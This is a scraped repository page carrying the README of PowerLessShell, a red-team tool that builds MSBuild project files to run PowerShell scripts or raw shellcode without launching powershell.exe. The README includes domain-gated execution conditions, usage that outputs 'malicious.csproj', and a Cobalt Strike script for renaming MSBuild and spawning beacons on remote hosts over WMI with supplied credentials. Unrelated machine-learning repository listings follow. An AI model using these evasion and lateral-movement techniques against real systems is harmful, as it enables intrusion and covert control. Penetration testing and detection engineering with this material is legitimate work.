Run PowerShell command without invoking powershell.exe

Overview

PowerLessShell

PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. You can also execute raw shellcode using the same approach.

MSBuild conditions

MSBuild support condition that can be used to avoid running code if the condition is not met.

<Target Name="x" Condition="'$(USERDOMAIN)'=='RingZer0'">

The malicious code will only be executed if the current user domain is "RingZer0"

Condition supports several other formats that can be used to create more conditional execution check.

<Target Name="x" Condition="'$(registry:HKEY_LOCAL_MACHINE\[email protected])'>='0'">

Property Functions also expose interesting data.

https://docs.microsoft.com/en-us/visualstudio/msbuild/property-functions

Usage

PowerLessShell use commandline argument to generate the final file.

$ python PowerLessShell.py -h
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
usage: PowerLessShell.py [-h] [-type TYPE] -source SOURCE -output OUTPUT
                         [-arch ARCH] [-condition CONDITION]

optional arguments:
  -h, --help            show this help message and exit
  -type TYPE            Payload type (shellcode/powershell) default to:
                        shellcode
  -source SOURCE        Path to the source file (raw shellcode or powershell
                        script)
  -output OUTPUT        MSBuild output filename
  -arch ARCH            Shellcode architecture (32/64) default to: 32
  -condition CONDITION  XML Compiling condition default (Check for USERDOMAIN)
                        default is: none

Generating a powershell payload

$ python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-powershell.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a shellcode payload

$ python PowerLessShell.py -source shellcode.raw -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a 64 bits shellcode payload

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Cobalt Strike Aggressor script (wmi_msbuild.cna)

By Alyssa (ramen0x3f) and MrT-F

Set Up

  • Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path
  • If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell
  • Load script into Cobalt Strike

Usage

check_msbuild -target TARGET   		Verify .NET 4.0.30319 is installed (should see "Status OK")
	[-user user] [-pass pass]		Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles

rename_msbuild -target TARGET 		Copy MSBuild.exe. 
	-msbuild newname 
 	[-path C:\new\path] 		Default - C:\Users\Public\
	[-user domain\username]		Specifying user/pass spawns cmd on remote host.
 	[-pass password]			

wmi_msbuild -target TARGET 		 	Spawn new beacon. 
         -listener LISTENER
	[-payload new_file]		 	Default - [a-zA-Z].tmp
	[-directory new_dir]			Default - C:\Users\Public\
	[-msbuild alt_msbuild_location] 	
	[-user USERNAME] [-pass PASSWORD]	
	[-manualdelete]				Switch doesn't auto delete payload.

OpSec Notes

Spawns cmd.exe on the target system if

  • ManualDelete switch is not set
  • rename_msbuild is run with a username/password specified

Credit

Mr.Un1k0d3r RingZer0 Team 2017

Owner
Mr.Un1k0d3r
Mostly Red Team tools for penetration testing. My patreon https://patreon.com/MrUn1k0d3r
Mr.Un1k0d3r
Контрольная работа по математическим методам машинного обучения

ML-MathMethods-Test Контрольная работа по математическим методам машинного обучения. Вычисление основных статистик, диаграмм и графиков, проверка разл

Stas Ivanovskii 1 Jan 06, 2022
Fast EMD for Python: a wrapper for Pele and Werman's C++ implementation of the Earth Mover's Distance metric

PyEMD: Fast EMD for Python PyEMD is a Python wrapper for Ofir Pele and Michael Werman's implementation of the Earth Mover's Distance that allows it to

William Mayner 433 Dec 31, 2022
DI-HPC is an acceleration operator component for general algorithm modules in reinforcement learning algorithms

DI-HPC: Decision Intelligence - High Performance Computation DI-HPC is an acceleration operator component for general algorithm modules in reinforceme

OpenDILab 185 Dec 29, 2022
TensorFlow implementation of ENet, trained on the Cityscapes dataset.

segmentation TensorFlow implementation of ENet (https://arxiv.org/pdf/1606.02147.pdf) based on the official Torch implementation (https://github.com/e

Fredrik Gustafsson 248 Dec 16, 2022
Atomistic Line Graph Neural Network

Table of Contents Introduction Installation Examples Pre-trained models Quick start using colab JARVIS-ALIGNN webapp Peformances on a few datasets Use

National Institute of Standards and Technology 91 Dec 30, 2022
We will see a basic program that is basically a hint to brute force attack to crack passwords. In other words, we will make a program to Crack Any Password Using Python. Show some ❤️ by starring this repository!

Crack Any Password Using Python We will see a basic program that is basically a hint to brute force attack to crack passwords. In other words, we will

Ananya Chatterjee 11 Dec 03, 2022
Computational Methods Course at UdeA. Forked and size reduced from:

Computational Methods for Physics & Astronomy Book version at: https://restrepo.github.io/ComputationalMethods by: Sebastian Bustamante 2014/2015 Dieg

Diego Restrepo 11 Sep 10, 2022
PyTorch Implementation of "Light Field Image Super-Resolution with Transformers"

LFT PyTorch implementation of "Light Field Image Super-Resolution with Transformers", arXiv 2021. [pdf]. Contributions: We make the first attempt to a

Squidward 62 Nov 28, 2022
Internship Assessment Task for BaggageAI.

BaggageAI Internship Task Problem Statement: You are given two sets of images:- background and threat objects. Background images are the background x-

Arya Shah 10 Nov 14, 2022
This is a model to classify Vietnamese sign language using Motion history image (MHI) algorithm and CNN.

Vietnamese sign lagnuage recognition using MHI and CNN This is a model to classify Vietnamese sign language using Motion history image (MHI) algorithm

Phat Pham 3 Feb 24, 2022
A Small and Easy approach to the BraTS2020 dataset (2D Segmentation)

BraTS2020 A Light & Scalable Solution to BraTS2020 | Medical Brain Tumor Segmentation (2D Segmentation) Developed the segmentation models for segregat

Gunjan Haldar 0 Jan 19, 2022
[NeurIPS'21] Shape As Points: A Differentiable Poisson Solver

Shape As Points (SAP) Paper | Project Page | Short Video (6 min) | Long Video (12 min) This repository contains the implementation of the paper: Shape

394 Dec 30, 2022
Official PyTorch implementation for "Low Precision Decentralized Distributed Training with Heterogenous Data"

Low Precision Decentralized Training with Heterogenous Data Official PyTorch implementation for "Low Precision Decentralized Distributed Training with

Aparna Aketi 0 Nov 23, 2021
《Single Image Reflection Removal Beyond Linearity》(CVPR 2019)

Single-Image-Reflection-Removal-Beyond-Linearity Paper Single Image Reflection Removal Beyond Linearity. Qiang Wen, Yinjie Tan, Jing Qin, Wenxi Liu, G

Qiang Wen 51 Jun 24, 2022
Leveraging Instance-, Image- and Dataset-Level Information for Weakly Supervised Instance Segmentation

Leveraging Instance-, Image- and Dataset-Level Information for Weakly Supervised Instance Segmentation This paper has been accepted and early accessed

Yun Liu 39 Sep 20, 2022
CondNet: Conditional Classifier for Scene Segmentation

CondNet: Conditional Classifier for Scene Segmentation Introduction The fully convolutional network (FCN) has achieved tremendous success in dense vis

ycszen 31 Jul 22, 2022
dualFace: Two-Stage Drawing Guidance for Freehand Portrait Sketching (CVMJ)

dualFace dualFace: Two-Stage Drawing Guidance for Freehand Portrait Sketching (CVMJ) We provide python implementations for our CVM 2021 paper "dualFac

Haoran XIE 46 Nov 10, 2022
Anomaly detection related books, papers, videos, and toolboxes

Anomaly Detection Learning Resources Outlier Detection (also known as Anomaly Detection) is an exciting yet challenging field, which aims to identify

Yue Zhao 6.7k Dec 31, 2022
Implementation of the "Point 4D Transformer Networks for Spatio-Temporal Modeling in Point Cloud Videos" paper.

Point 4D Transformer Networks for Spatio-Temporal Modeling in Point Cloud Videos Introduction Point cloud videos exhibit irregularities and lack of or

Hehe Fan 101 Dec 29, 2022
Group Activity Recognition with Clustered Spatial Temporal Transformer

GroupFormer Group Activity Recognition with Clustered Spatial-TemporalTransformer Backbone Style Action Acc Activity Acc Config Download Inv3+flow+pos

28 Dec 12, 2022